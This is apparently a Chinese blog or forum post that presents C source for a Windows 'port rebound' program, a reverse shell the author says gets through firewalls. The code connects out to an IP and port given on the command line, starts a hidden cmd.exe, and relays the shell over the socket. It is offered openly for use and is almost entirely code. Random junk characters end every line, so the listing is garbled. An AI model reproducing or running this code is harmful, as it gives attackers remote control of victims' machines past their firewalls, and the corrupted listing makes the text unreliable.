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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 XY1b_uY  
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/* ============================== aIW W[xZ  
Rebound port in Windows NT P},d`4Ty@  
By wind,2006/7 {fAj*,pzl  
===============================*/ fY{&W@#g  
#include Ceco^Mw  
#include (b4;c=<[{  
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#pragma comment(lib,"wsock32.lib") z 8\;XR  
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void OutputShell(); 2$%E:J+2:$  
SOCKET sClient; @N,I}_9-  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \`$RY')9|!  
sCw X|  
void main(int argc,char **argv) R6/vhze4L2  
{ 'q9='TOk  
WSADATA stWsaData; RmcQGQ  
int nRet; K^fH:pV  
SOCKADDR_IN stSaiClient,stSaiServer; -+w^"RBV  
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if(argc != 3) DV">9{"5']  
{ a54qv^IS  
printf("Useage:\n\rRebound DestIP DestPort\n"); PDH00(#;+  
return; KD)+& 69  
} N0 F|r8xS  
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WSAStartup(MAKEWORD(2,2),&stWsaData); p.J+~s4G  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  T%p/(  
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stSaiClient.sin_family = AF_INET; 35X4] t  
stSaiClient.sin_port = htons(0); f*Dy>sw  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |)\{Rufb  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9Di@r!Db  
{ __N#Y/e ]  
printf("Bind Socket Failed!\n"); iQnIk| 8  
return; M4m90C;dq  
} 1=.+!Tg  
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stSaiServer.sin_family = AF_INET; nax(V  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); &T) h9fyc  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); G,6Zy-Y9  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -F+dmI,1$  
{ Jf|6 FQo&  
printf("Connect Error!"); eX9Hwq4X44  
return; eaGd:(  
} lqe71](sK8  
OutputShell(); ddiBjp2.!  
} _>"f&nb O  
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void OutputShell() IU*w 'a  
{ Z}*{4V`R  
char szBuff[1024]; 1__Mf.A  
SECURITY_ATTRIBUTES stSecurityAttributes; %x G3z7;  
OSVERSIONINFO stOsversionInfo; :?.RZKXQF  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; js#72T/_n  
STARTUPINFO stStartupInfo; bRzw.(k0`r  
char *szShell; \L@DDK|"`6  
PROCESS_INFORMATION stProcessInformation; a1n j}1M%  
unsigned long lBytesRead; S66. .sa  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); L1i:hgq0]  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @|c fFT W  
stSecurityAttributes.lpSecurityDescriptor = 0; KL}o%wfLy  
stSecurityAttributes.bInheritHandle = TRUE; Q1yj+)_  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); "o ^cv  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 78[5@U  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Qso"jYl<  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hn@T ]k  
stStartupInfo.wShowWindow = SW_HIDE; D ^~G(m;-  
stStartupInfo.hStdInput = hReadPipe; 8w|-7$ v  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8^FAeV#  
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GetVersionEx(&stOsversionInfo); #& 5}  
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switch(stOsversionInfo.dwPlatformId) }#h>*+Q  
{ Q5:8$ C}+  
case 1: />,Tq!i\4}  
szShell = "command.com"; SpB\kC"K  
break; =Hs[peO*  
default: s/"?P/R  
szShell = "cmd.exe"; 6HyndB^  
break; ">pt, QV  
} '"/Yk=EmlU  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); q0l=S+0  
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send(sClient,szMsg,77,0); 'l| e}eti>  
while(1) J"&jR7-9  
{ &S8Pnb)d  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); zAxscD f'  
if(lBytesRead) g[d.lJ=Q-N  
{ V?*\ISB`}  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); AK brXKx  
send(sClient,szBuff,lBytesRead,0); M#PutrH  
} |Qe#[Q7  
else V#Px  
{ q|23l1 PI  
lBytesRead=recv(sClient,szBuff,1024,0); 1JIo,7  
if(lBytesRead<=0) break; c-ahe;q  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); A"`^A brm  
} |QI FtdU5T  
} aj71oki)  
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return; W]t!I}yPR  
}
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